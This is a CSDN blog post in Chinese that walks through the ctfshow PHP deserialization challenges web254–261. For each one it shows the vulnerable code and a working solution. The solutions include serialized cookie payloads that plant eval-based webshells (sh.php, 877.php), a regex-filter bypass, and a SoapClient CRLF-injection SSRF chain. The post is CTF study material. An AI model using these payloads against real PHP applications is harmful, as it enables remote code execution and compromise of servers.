反序列化1

最新推荐文章于 2024-08-05 15:00:50 发布
最新推荐文章于 2024-08-05 15:00:50 发布
阅读量1.6k 收藏 26
点赞数 42
文章标签： android
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/wxy_1234_/article/details/137265417
版权
文章详细分析了PHP代码中的安全漏洞，涉及登录验证、VIP权限检查、序列化和反序列化操作，以及如何利用SSRF和魔术方法进行绕过攻击。
摘要由CSDN通过智能技术生成

254

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

分析代码直接传入?username=xxxxxx&password=xxxxxx
 

255

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
反序列化的点在cookie的user中，我们需要让$isVip=true

$user = new ctfShowUser();

$user->isVip = true;

var_dump(serialize($user));

cookie=user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

传入 ？username=xxxxxx&password=xxxxxx

web256

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

相比上题新增了 username !== password 的要求，按要求构造即可。

$user = new ctfShowUser();
$user->isVip = true;
$user->username = "china";
$user->password = "123456";
var_dump(serialize($user));

url: /?password=123456&username=china
cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22china%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257 

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

用 backDoor 代替 info，然后正常构造即可。

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=true;
    private $class = 'info';

    public function __construct(){
        $this->class= new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code="file_put_contents('sh.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pID8+'));";
    public function getInfo(){
        eval($this->code);
    }
}

$u = new ctfShowUser();
var_dump(urlencode(serialize($u)));

 

url: ?username=xxxxxx&password=xxxxxx
cookie: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A79%3A%22file_put_contents%28%27sh.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pID8%2B%27%29%29%3B%22%3B%7D%7D

web258

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

增加了正则过滤，这里可以利用 unserialize 函数的一个特性绕过。

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code="file_put_contents('sh.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOw=='));";
    public function getInfo(){
        eval($this->code);
    }
}

$u = new ctfShowUser();
// 在数字前面加上 `+` 即可，这里正则替换一下。
var_dump(urlencode(preg_replace("/([oc]):(\d+:)/i", "$1:+$2", serialize($u))));

url: ?username=xxxxxx&password=xxxxxx
cookie: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A79%3A%22file_put_contents%28%27sh.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOw%3D%3D%27%29%29%3B%22%3B%7D%7D
蚁剑连接 sh.php 查看 flag。

259

在构造网址时要监听

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

 flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

 利用 SoapClient 类反序列化 + CRLF 实现 SSRF，构造请求访问 flag.php 得到 flag。
反序列化后的 SoapClient 对象在调用不存在的方法时会调用 __call，在 user_agent 中插入 CRLF 也就是 \r\n 控制 header 和 body 构造想要的请求。

<?php

$target = "http://127.0.0.1/flag.php";
$post = "token=ctfshow";
$a = new SoapClient(null, array(
    "location" => $target,
    "user_agent" => "aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".(string)strlen($post)."\r\n\r\n".$post,
    "uri" => "aaaa"
));

var_dump(urlencode(serialize($a)));

 访问 flag.txt 得到 flag。

260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

需要传入的字符串序列化后满足正则 /ctfshow_i_love_36D/，直接传这个就行。
 ?ctfshow=ctfshow_i_love_36D 

261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

 

PHP 文档中提到

注意:
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法，则只有 __unserialize() 方法会生效，__wakeup() 方法会被忽略。
注意:
此特性自 PHP 7.4.0 起可用。

查看 response header 可知 X-Powered-By: PHP/7.4.16，那么 __wakeup 部分就不会被执行，与注释无异。
__destruct 函数部分弱比较 $this->code==0x36d，因为 $this->code = $this->username.$this->password;，username 可控制，因为 (int)'877.php' == 0x36d，故传 877.php 即可绕过。

<?php

class ctfshowvip{
    public $username = "877.php";
    public $password = "<?php @eval(\$_POST[2]);";
}

$a = new ctfshowvip();

var_dump(urlencode(serialize($a)));

 

?vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A23%3A%22%3C%3Fphp+%40eval%28%24_POST%5B2%5D%29%3B%22%3B%7D

wxy_1234_
关注
  • 42
    点赞
  • 踩
  • 26
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
java string 反序列化_java序列化和反序列化
weixin_29114331的博客
02-13 2567
引语:平时我们在运行程序的时候,创建的对象都在内存中,当程序停止或者中断了,对象也就不复存在了.如果我们能将对象保存起来,在需要使用它的时候在拿出来使用就好了,并且对象的信息要和我们保存时的信息一致.序列化就可以解决了这样的问题.序列化当然不止一种方式,如下:序列类型是否跨语言优缺点hession支持跨语言,序列化后体积小,速度较快protostuff支持跨语言,序列化后体积小,速度快,但是需要S...
java 枚举 反序列化,Enum反序列化问题
weixin_33517544的博客
03-11 3321
1.Enum原理定义一个Enum，通过编译之后的字节码，我们可以发现其实现原理：public enum FruitEnum {APPLE, ORAGE}编译器是在为我们创建一个类，这个类继承自 java.lang.Enum，有两个公共的、静态的、被声明成final的属性，它们的类型就是我们定义的FruitEnum。编译器还生成了一个静态初始话器，就是字节码中static{};这一行下面的代码，其中...
Java中的序列化与反序列化
yuiezt的专栏
07-15 2250
序列化（Serialization）与反序列化（Deserialization）是编程中常见的两个概念，它们主要涉及到将数据结构或对象状态转换为可以存储或传输的格式，以及将存储或传输的格式转换回原始的数据结构或对象状态的过程。这两个过程在数据持久化、网络通信、对象深拷贝等多个场景中发挥着重要作用。
序列化和反序列化
热门推荐
lei_gentle的博客
12-11 5万+
我以前确实对序列化，乃至现在也是不是很熟悉，有时候查找资料，但依旧懵懵懂懂，不过还好遇到一个博主，确定写的挺好的，链接会放再底部 废话不多说，先看官网定义： 序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间，对象将其当前状态写入到临时或持久性存储区。以后，可以通过从存储区中读取或反序列化对象的状态，重新创建该对象。 序列化主要有两个用途 把对象的字节序列永久保存到硬盘上，通常存放在一个文件中（序列化对象） 在网络上传送对象的字节序列（网络传输对象）
DRF之反序列化
自成背后的博客
04-07 2535
文章目录反序列化之验证反序列化之保存 使用序列化器进行反序列化时，需要对数据进行验证后，才能获取验证成功的数据或保存成模型类对象。 前面我们已经了解过，定义好Serializer类后，就可以创建Serializer对象了。 Serializer的构造方法为： Serializer(instance=None, data=empty, **kwarg) 说明： 1）用于序列化时，将模型类对象传入instance参数 2）用于反序列化时，将要被反序列化的数据传入data参数 3）除了instance和dat
Jackson的自定义反序列化
rocklee的专栏
02-06 3355
下面有个完整示例： 1、定义反序列化处理器 一般处理器都继承于StdDeserializer，如下，重写deserialize，根据jsonNode里面的一些关键数值动态生成LogMessage的内容，下面代码就根据data的每个item的properties的SClass，生成不同的Message实例。 /** * Created by rocklee on 2022/2/6 12:15 */ public class LogMessageDeserializer extends StdDeseria
SpringBoot的序列化和反序列化
qq_42617455的博客
11-11 2万+
序列化与反序列化 1、认识序列化与反序列化 Java序列化是指把Java对象转换为字节序列的过程，而Java反序列化是指把字节序列恢复为Java对象的过程。 2、为什么要实现对象的序列化和反序列化？ （1）我们创建的Java对象被存储在Java堆中，当程序运行结束后，这些对象会被JVM回收。但在现实的应用中，可能会要求在程序运行结束之后还能读取这些对象，并在以后检索数据，这时就需要用到序列化。 （2）当Java对象通过网络进行传输的时候。因为数据只能够以二进制的形式在网络中进行传输，因此当把对象通过网络发送
.Net序列化与反序列化
小目标一个亿
03-30 5096
序列化，又称为串行化，是.NET运行时环境用来支持用户定义类型的流行的机制。序列化就是把一个对象保存到一个文件或数据库字段中去，反序列化就是在适当的时候把这个文件再转化成原来的对象使用。其目的是以某种存储形成使自定义对象持久化，或者将这种对象从一个地方传输到另一个地方。 1、.NET支持的对象序列化的几种方式。 二进制序列化：对象序列化之后是二进制形成的，通过BinaryFormatter类来...
XML 反序列化
PinkCoder
04-13 2911
XML 反序列化成Model 1.方法： public static object DeserializeXml(Type type, string xml) { using (StringReader sr = new StringReader(xml)) { XmlSerializer desXml = new XmlSerializer(type); ...
一文彻底搞懂序列化和反序列化
Circ
07-23 3346
Redis（Remote Dictionary Server）是一种开源的高性能键值存储数据库，它也被称为数据结构服务器，因为它支持多种灵活的数据结构。Redis以内存中的数据结构为基础，提供了快速、高效的数据存储和访问能力。它可以用作数据库、缓存、消息代理和排行榜等多种用途。Redis将数据存储为键值对，其中键是唯一的标识符，而值可以是字符串、哈希、列表、集合、有序集合等各种数据结构。（因为我们是面向对象开发，所有就要使用内存数据库啦，因为要把对象存取来哦）
S08-SnakeYaml反序列化1
08-03
标题 "S08-SnakeYaml反序列化1" 提到的是关于使用SnakeYaml库进行Java对象的序列化和反序列化的知识点。SnakeYaml是一个开源的库，允许在Java应用程序中处理YAML格式的数据。以下是这些知识点的详细说明： **1. ...
S25-hessian反序列化1
08-03
【S25-Hessian反序列化1】是一个关于Java中Hessian序列化库的讨论，主要涉及Hessian与原生Java序列化的差异以及在Spring框架中的应用。Hessian是一种二进制序列化协议，旨在提高远程过程调用(RPC)的效率。与原生Java...
序列化和反序列化1
08-08
在Java编程语言中，序列化和反序列化是两种重要的技术，它们允许对象的状态被转换成字节序列以便存储或在网络上传输，然后再将其还原回原来的对象状态。这两个概念是Java.IO包中的核心组成部分，主要用于数据持久化...
java反序列化工具
11-21
Java反序列化是一种将已序列化的对象状态转换回对象的过程，它是Java平台中持久化数据的一种常见方式。在Java应用程序中，序列化用于保存对象的状态以便稍后恢复，或者在网络间传输对象。然而，这个过程也可能引入...
java序列化和反序列化1
08-08
Java的序列化和反序列化是Java开发中重要的概念，主要涉及对象状态的持久化以及在网络传输中的数据转换。在Java中，序列化是将一个对象转换为字节序列的过程，而反序列化则是将字节序列恢复为原始对象的过程。 1. *...
ijkplayer 自定义协议播放加密内容 Android
juruiyuan111的专栏
08-02 824
想对播放的音视频进行加密，防止资源被盗用，该怎么办呢？这篇文章从自定义协议的角度来提供一中实现思路。在 ijkplayer 的基础上，通过实现自定义协议对文件进行解密。边解边播，以此为基础，还可以实现在线资源边下载边解密边播放。结合 ijkplayer 源码阅读本文效果最佳。
android compose设置圆角不起作用
最新发布
LlanyW的专栏
08-05 74
把圆角放在背景色之前。.clip放在.background前。
android 源码导入android studio
l309681481的博客
08-05 159
假如你的电脑性能足够好(内存大于16G，代码下载在SSD上)，那么可以直接打开Android Studio，点击"Open an existing Android Studio project"选项，找到并选中刚刚生成的"android.ipr"文件，点击OK，就可以开始导入项目了。"android.iml"和"android.ipr"一般是"只读"的属性，我们这里建议大家，把这两个文件改成可读可写，否则，在更改一些项目配置的时候可能会出现无法保存的情况，执行如下两条命令即可。在设置中将实时内存显示打开。
【Android】四大组件（Activity、Service、Broadcast Receiver、Content Provider）、结构目录
xzzteach的博客
08-01 561
当 Activity 的启动模式为 singleTask 的时候，每次启动该 Activity 的时候系统会首先在返回栈中检查是否存在该 Activity 的实例，如果发现已经存在则直接使用该实例。假设你在当前的Activity中又要启动同类型的Activity，此时建议将此类型Activity的启动模式指定为SingleTop，能够降低Activity的创建，节省内存!standard 模式是 Activity 的默认启动模式，在不进行显示指定的情况下，所有 Activity 都会自动使用这种启动模式。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值